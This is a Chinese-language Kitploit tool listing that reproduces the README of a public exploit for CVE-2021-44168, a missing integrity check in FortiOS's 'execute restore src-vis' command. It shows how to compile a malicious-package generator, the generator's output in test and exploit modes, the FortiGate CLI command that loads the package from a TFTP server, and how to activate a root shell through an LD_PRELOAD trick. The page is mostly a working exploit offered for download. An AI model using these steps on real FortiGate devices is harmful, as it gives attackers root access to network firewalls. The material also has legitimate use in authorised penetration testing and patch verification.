Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44168 — FortiOS 7.0.3之前版本的"execute restore src-vis"命令中存在一个无完整性检查的代码下载漏洞。 | Kitploit
工具/GitHubGitHub/0xhaggis/cve-2021-44168
漏洞分析漏洞利用渗透测试红队Payload 开发二进制利用
GitHub0xhaggis/cve-2021-44168

CVE-2021-44168

FortiOS 7.0.3之前版本的"execute restore src-vis"命令中存在一个无完整性检查的代码下载漏洞。

查看仓库
21222年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44168 漏洞利用

目的

利用 CVE-2021-44168 在 Fortigate 防火墙上获取一个 shell,并通过 LD_PRELOAD 技巧使其在运行某些 Fortigate CLI 命令时执行,从而获得 root shell。

使用

编译:

root@kitploit:~
gcc -o gen_src-vis_pkg_file gen_src-vis_pkg_file.c -lz

运行:

root@kitploit:~
% ./gen_src-vis_pkg_file
./gen_src-vis_pkg_file [ -t | -p ] filename.img
  -t            生成测试包,或
  -p            生成漏洞利用包。
  filename.img  写入此文件。

测试模式

测试模式会在 Fortigate 文件系统的根目录放置一个名为 pwned.txt 的文件。生成测试包的方法如下:

root@kitploit:~
% ./gen_src-vis_pkg_file -t test.img
[+] Generaing TEST package
[+] Reading test.tar for insertion into package file test.img
[+] Compressing test.tar (10240 bytes)
[+] Compressed size: 115
[+] Build pkg_header
[+] pkg_header crc32: 0x16a384f1
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data   crc32: 0xe097e419
[+] obj_header crc32: 0xabdfc3cb
[+] Write pkg_header + obj_header + obj_data > test.img
[+] All done. So long and thanks for all the fish!

漏洞利用模式

漏洞利用模式会创建一个恶意包,该包能在 FortiGate 上放置一个 shell,并通过 LD_PRELOAD 技巧启用它。生成漏洞利用包的方法如下:

root@kitploit:~
% ./gen_src-vis_pkg_file -p pwn.img
[+] Generaing EXPLOIT package
[+] Reading pwn.tar for insertion into package file pwn.img
[+] Compressing pwn.tar (16465920 bytes)
[+] Compressed size: 6843825
[+] Build pkg_header
[+] pkg_header crc32: 0xd657d879
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data   crc32: 0xf373554b
[+] obj_header crc32: 0x3a7fdcd7
[+] Write pkg_header + obj_header + obj_data > pwn.img
[+] All done. So long and thanks for all the fish!

利用恶意包获取 root shell

从 FortiGate 管理 CLI 执行:

root@kitploit:~
FortiGate # execute restore src-vis tftp pwn.img 192.168.100.1
This operation will overwrite the current source visibility signatures!
Do you want to continue? (y/n)y

Please wait...

Connect to tftp server 192.168.100.1 ...
######

Get source visibility signatures from tftp server OK.
upd_manual_cid[255]-Updating src-vis plugin
doInstallUpdatePackage[981]-Full obj found for CIDB000
doInstallUpdatePackage[991]-Updating obj CIDB
installUpdateObject[323]-Step 1:Unpack obj 29, Total=1, cur=0
installUpdateObject[352]-Step 2:Prepare temp file for obj 29
installUpdObjRest[637]-Step 5:Backup /etc/cid.tar.gz->/tmp/update.backup
installUpdObjRest[651]-Step 6:Copy new object /tmp/updPiMCON->/etc/cid.tar.gz
installUpdObjRest[731]-Step 7:Validate object
installUpdObjRest[755]-Step 8:Re-initialize using new obj file
installUpdObjRest[767]-Step 9:Delete backup /tmp/update.backup
cid svr 13 req 4
__update_status[1181]-CIDB000 installed successfully
upd_status_save_status[114]-try to save on status file
upd_status_save_status[179]-Wrote status file
upd_manual_cid[284]-Update successful
./../../../../../data2/bfbin/rdate: Cannot create symlink to '/data2/bfbin/busybox'Error exit delayed from previous errorsupd_cfg_extract_unpacked2
upd_cfg_extract_cid_db_version[554]-version=06000000CIDB00000-00000.00000-0101010000
cid could not install sigs: version failed

FortiGate #

此时,你将获得一个可通过 LD_PRELOAD 在 shell 到 Linux 的 CLI 命令中访问的 shell。激活新放置的 shell 的一种方法:

root@kitploit:~
# fnsysctl ls
/ # 
/ # export PATH=/data2/bfbin:/bin
/ # uname -a
Linux FortiGate 3.2.16 #2 SMP Thu Mar 28 02:54:46 UTC 2019 x86_64 GNU/Linux

漏洞技术分析

待定。暂时请阅读代码。

下载工具